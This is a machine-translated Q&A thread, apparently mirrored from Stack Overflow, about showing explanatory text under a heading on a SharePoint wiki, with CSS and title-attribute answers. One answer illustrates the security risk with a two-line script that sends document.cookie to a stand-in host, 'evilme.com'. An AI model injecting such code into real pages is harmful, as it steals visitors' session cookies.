2008-09-17 33 views
5

Làm thế nào tôi có thể, với tư cách là quản trị viên wiki, hãy nhập tập lệnh (Javascript) vào trang wiki Sharepoint?

Tôi muốn nhập tiêu đề và, khi nhấp vào đó, có hiển thị bên dưới một giải thích nhỏ. Tôi thường làm điều đó với javascript, bất kỳ ý tưởng nào khác?Làm thế nào để nhập Javascript vào một trang wiki?

+1

Bạn có phải là quản trị viên trang wiki hay không, không chỉ người dùng. – sblundy

+0

Điều đó thay đổi mọi thứ. Vui lòng cập nhật cho bạn câu hỏi và bao gồm nền tảng wiki của bạn. – sblundy

+0

Bạn cũng có thể gắn thẻ tên này 'html' – Nate

Trả lời

4

Giả sử bạn là quản trị viên của wiki và sẵn sàng hiển thị điều này khi di chuột qua thay vì nhấp chuột, bạn không cần javascript chút nào - bạn có thể sử dụng CSS thẳng. Dưới đây là ví dụ về các kiểu và đánh dấu:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" 
    "http://www.w3.org/TR/html4/strict.dtd"> 
<html> 
<head> 
    <title>Test</title> 
    <style type="text/css"> 
    h1 { padding-bottom: .5em; position: relative; } 
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; } 
    h1:hover span { display: block; } 
    </style> 
</head> 
<body> 
    <h1>Here is the title! 
    <span>Here is a little explanation</span> 
    </h1> 
    <p>Here is some page content</p> 
</body> 
</html> 

Với một số kiểu có liên quan hơn, hộp công cụ của bạn có thể trông đẹp như bạn muốn.

0

Điều đó nghe có vẻ như là một nguy cơ bảo mật. Có vẻ như quản trị viên wiki có thể cài đặt các tập lệnh, xem wikipedia's user scripts.

+0

Tôi là quản trị viên wiki – Aidenn

0

Bạn không thể thêm mã javascript cho bất kỳ wiki công khai nào. Nếu bạn đang tự mình lưu trữ, thì bạn cần yêu cầu một hệ thống wiki cụ thể để ai đó có thể giúp bạn sửa đổi cài đặt - nếu có thể cho hệ thống đó.

0

Nếu bạn đang nói về việc sử dụng Javascript như một phần của trang web trên trang web này, bạn không thể. Hoặc bất kỳ wiki công cộng nào khác cho vấn đề đó - đó là một nguy cơ bảo mật.

Nếu bạn đang nói về việc đăng mẫu mã, hãy nhấp vào nút '101010' phía trên hộp văn bản.

0

Tất nhiên nó phụ thuộc vào công cụ wiki mà bạn đang nói đến. Nhiều khả năng, như sblundy nói, nó sẽ là một nguy cơ bảo mật để cho phép sử dụng javascript miễn phí trên trang wiki.

1

Nó hoàn toàn phụ thuộc vào phần mềm Wiki cụ thể mà bạn đang sử dụng. Cách tôi đã nhìn thấy công việc là để lưu trữ một tập tin js ở một nơi khác và sau đó bao gồm với một thẻ script với một thuộc tính src.

Nếu họ không cho phép điều đó, có thể họ cho phép IFRAME mà bạn có thể đặt thành trang bao gồm tập lệnh. Sử dụng kỹ thuật thứ hai, bạn sẽ không được phép truy cập DOM của trang lưu trữ.

0

Thêm title="text here" vào bất kỳ thẻ nào và thẻ sẽ hiển thị văn bản khi di chuột lên thẻ đó.
Internet Explorer hiển thị văn bản khi bạn sử dụng thuộc tính alt="text here", mặc dù không tuân theo các tiêu chuẩn.

Tôi đã thử nghiệm ngay bây giờ và bạn có thể thêm <h2 title="some explanation here">headline</h2> vào bất kỳ hệ thống nào dựa trên wikimedia (Wikipedia sử dụng).

9

Nếu các tác giả wiki là khôn ngoan, có lẽ không có cách nào để làm điều này.

Vấn đề với JavaScript do người dùng đóng góp là nó mở ra cánh cửa cho tất cả các hình thức của những kẻ gian ác để lấy dữ liệu từ những điều không ngờ.

Giả sử ác-me đăng tải một kịch bản trên một trang web công cộng:

i = new Image(); 
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie; 

Bây giờ tôi sẽ nhận được thông tin cookie của mỗi người truy cập vào trang web, được đưa lên một bản ghi trên máy chủ của tôi. Và đó chỉ là đỉnh của tảng băng trôi.

1

Tôi thích câu trả lời CSS. Khi bạn có thể sử dụng CSS thay vì Javascript, kết quả sẽ được đánh dấu đơn giản hơn.
Một điều cần xem xét là Bộ cộng đồng cho phiên bản Wiki nâng cao của SharePoint trên Codeplex. Bạn có thể tải về mã nguồn và thêm vào các tính năng của riêng bạn. Hoặc bạn có thể đề xuất tính năng này như một tính năng mới trong diễn đàn.

Các vấn đề liên quan